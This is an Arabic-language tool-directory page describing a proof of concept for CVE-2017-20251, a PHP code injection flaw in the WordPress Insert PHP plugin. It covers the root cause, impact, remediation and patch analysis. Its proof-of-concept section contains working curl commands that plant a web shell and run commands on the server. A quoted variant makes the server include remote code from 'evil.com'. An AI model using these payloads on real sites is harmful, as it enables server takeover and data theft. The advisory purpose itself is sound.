Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
By-Poloss..-..CVE-2017-20251 — حقن كود PHP في إضافة Insert PHP Plugin | Kitploit
أدوات/GitHubGitHub/polosss/by-poloss..-..cve-2017-20251
تحليل الثغرات الأمنيةتحليل الكودالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليمتطوير الحمولات
GitHubpolosss/by-poloss..-..cve-2017-20251

By-Poloss..-..CVE-2017-20251

حقن كود PHP في إضافة Insert PHP Plugin

عرض المستودع
1منذ 3 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2017-20251: ثغرة حقن كود PHP في إضافة Insert PHP

عنوان الثغرة

حقن كود PHP غير مُصادق عليه عبر معالجة الشورت كود في إضافة Insert PHP

المعلومات الأساسية

الحقلالقيمة
معرف CVECVE-2017-20251
الإضافةInsert PHP (المعروفة الآن باسم Woody Code Snippets)
الإصدارات المتأثرة< 3.3.1 (تم الاختبار على 1.3)
CWECWE-94 (حقن كود)
CVSS v3.19.8 (حرجة)
متجه CVSSAV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
الإفصاحعام (Exploit-DB 41308)

الوصف

تسمح إضافة Insert PHP قبل الإصدار 3.3.1 للمهاجمين عن بُعد بتنفيذ كود PHP عشوائي عبر ثغرة حقن الشورت كود. تقوم الإضافة بتسجيل شورت كود [insert_php]...[/insert_php] يقوم بتقييم المحتوى داخل وسوم الشورت كود مباشرة باستخدام دالة eval() في PHP دون أي تنقية أو تحقق.

يمكن للمهاجم الذي يمكنه إنشاء أو تعديل المنشورات (عبر REST API أو XML-RPC أو بصلاحية مساهم/مسؤول) حقن كود PHP عشوائي في أي صفحة أو منشور يعرض محتواها، مما يحقق تنفيذ كود عن بُعد كامل على خادم الويب.

التحليل الفني

السبب الجذري

توجد الثغرة في الدالة will_bontrager_insert_php() المسجلة كعامل تصفية the_content:

root@kitploit:~
// File: insert-php/insert_php.php
function will_bontrager_insert_php($content) {
    $will_bontrager_content = $content;
    preg_match_all(
        '!\[insert_php[^\]]*\](.*?)\[/insert_php[^\]]*\]!is',
        $will_bontrager_content,
        $will_bontrager_matches
    );
    $will_bontrager_nummatches = count($will_bontrager_matches[0]);
    for ($will_bontrager_i = 0; $will_bontrager_i < $will_bontrager_nummatches; $will_bontrager_i++) {
        ob_start();
        eval($will_bontrager_matches[1][$will_bontrager_i]);  // <-- VULNERABLE
        $will_bontrager_replacement = ob_get_contents();
        ob_clean();
        ob_end_flush();
        $will_bontrager_content = preg_replace(
            '/'.preg_quote($will_bontrager_matches[0][$will_bontrager_i], '/').'/',
            $will_bontrager_replacement,
            $will_bontrager_content,
            1
        );
    }
    return $will_bontrager_content;
}

add_filter('the_content', 'will_bontrager_insert_php', 9);

المشكلات الرئيسية:

  1. يتم تمرير محتوى الشورت كود مباشرة إلى eval() دون أي تنقية
  2. لا يتم إجراء فحص للتوثيق أو الصلاحيات
  3. لا يوجد تحقق من أن المحتوى قادم من منشور مقتطف شرعي
  4. يعمل عامل التصفية عند الأولوية 9، مما يعالج المحتوى قبل عوامل تصفية WordPress الأخرى

ناقل الهجوم

  1. الوصول الأولي: يقوم المهاجم بإنشاء أو تحرير منشور بمحتوى ضار يحتوي على شورت كود [insert_php]
  2. التسليم: يتم تخزين الشورت كود في قاعدة بيانات WordPress كمحتوى المنشور
  3. التنفيذ: عندما يشاهد أي مستخدم الصفحة، يقوم WordPress بتشغيل عوامل تصفية the_content
  4. التأثير: ينفذ eval() كود PHP عشوائي على الخادم

شروط الاستغلال

  • موقع WordPress مع إضافة Insert PHP مثبتة ومفعلة بإصدار أقل من 3.3.1
  • يجب أن يكون لدى المهاجم القدرة على إنشاء أو تحرير المنشورات (دور المساهم أو أعلى)
  • في WordPress < 4.7، سمح REST API بإنشاء منشورات غير مُصادق عليها (مما مكن من تنفيذ كود عن بُعد كامل بدون توثيق)
  • في WordPress >= 4.7، مطلوب توثيق لإنشاء المنشورات عبر REST API

التأثير

الخطورة: حرجة

تنفيذ كود عن بُعد كامل (RCE) على خادم الويب:

  • تنفيذ كود PHP عشوائي على الخادم
  • قراءة/كتابة أي ملف يمكن لمستخدم خادم الويب الوصول إليه
  • الوصول إلى بيانات اعتماد قاعدة البيانات من wp-config.php
  • تثبيت شيلات ويب أو أبواب خلفية
  • الانتقال إلى أنظمة أخرى
  • اختراق كامل للسرية والسلامة والتوافر

إثبات المفهوم - أوامر Curl

الخطوة 1: إنشاء منشور بشورت كود ضار (مُصادق عليه)

root@kitploit:~
curl -s -k -X POST "https://yorbit7.ddev.site/wp-json/wp/v2/posts" \
  -H "Content-Type: application/json" \
  -u "USERNAME:APPLICATION_PASSWORD" \
  -d '{
    "title": "Malicious Post",
    "content": "[insert_php]file_put_contents(\"/var/www/html/shell.php\",\"<?php system(\\$_GET[\\\"cmd\\\"]); ?>\");[/insert_php]",
    "status": "publish"
  }'

الخطوة 2: زيارة المنشور لتفعيل تنفيذ الكود

root@kitploit:~
curl -s -k "https://yorbit7.ddev.site/?p=POST_ID"

الخطوة 3: التحقق من تنفيذ الكود

root@kitploit:~
curl -s -k "https://yorbit7.ddev.site/shell.php?cmd=id"

بديل: اختبار eval() مباشر (إثبات بسيط)

root@kitploit:~
# Create post
curl -s -k -X POST "https://yorbit7.ddev.site/wp-json/wp/v2/posts" \
  -H "Content-Type: application/json" \
  -u "USERNAME:APPLICATION_PASSWORD" \
  -d '{"title":"RCE Test","content":"[insert_php]file_put_contents(\"/var/www/html/rce_poc.txt\",\"RCE-SUCCESS\");[/insert_php]","status":"publish"}'

# Trigger
curl -s -k "https://yorbit7.ddev.site/?p=POST_ID"

# Verify
cat /var/www/html/rce_poc.txt  # Should output: RCE-SUCCESS

مرجع Exploit-DB (غير مُصادق عليه، WP < 4.7)

لإصدارات WordPress الأقدم حيث سمح REST API بإنشاء منشورات غير مُصادق عليها:

root@kitploit:~
curl -s -k -X POST "/wp-json/wp/v2/posts/1234" \
  -H "Host: target.com" \
  -H "Content-Type: application/json" \
  -d '{
    "id": "1234ffff",
    "title": "by Hacker",
    "content": "[insert_php]include(\"http://evil.com/file.php\");[/insert_php]"
  }'

مثال على الاستجابة

عند معالجة الشورت كود الضعيف، يتم تنفيذ كود PHP داخل eval(). بالنسبة لاختبار ملف العلامة:

root@kitploit:~
Request: إنشاء منشور بـ [insert_php]file_put_contents("marker.txt","SUCCESS");[/insert_php]
Response: تم إنشاء المنشور بنجاح

Request: GET /?p=POST_ID
Response: يتم عرض الصفحة، ينفذ كود PHP، يتم إنشاء marker.txt على الخادم

التحقق:
$ cat /var/www/html/marker.txt
SUCCESS

التوصيات العلاجية

  1. فوري: قم بإلغاء تثبيت إضافة Insert PHP أو ترقيتها إلى الإصدار 3.3.1 أو أحدث
  2. إضافة بديلة: استخدم إضافة مقتطفات كود حديثة مثل WPCode التي تستخدم سياقات تنفيذ آمنة
  3. إذا كان لابد من استخدام مقتطفات PHP: تأكد من أن المسؤولين الموثوقين فقط يمكنهم إنشاء/تحرير المنشورات، وفكر في تعطيل REST API لغير المسؤولين
  4. تعزيز الحماية: قم بتعيين ثابت DISALLOW_UNFILTERED_HTML (رغم أن هذا لا يخفف المشكلة تمامًا)

تحليل التصحيح

الإصدار المُصحح (3.3.1+) قام بما يلي:

  • تغيير اسم الشورت كود من [insert_php] إلى [wbcr_php_snippet]
  • إزالة استخدام eval() المباشر لصالح سياق تنفيذ آمن
  • إضافة فحوصات توثيق على نقاط نهاية REST API
  • تنفيذ التحقق من معرف المقتطف قبل التنفيذ

المراجع

  • Exploit-DB 41308
  • NVD CVE-2017-20251
  • صفحة الإضافة على WordPress
  • CWE-94: حقن الكود
تنزيل الأداة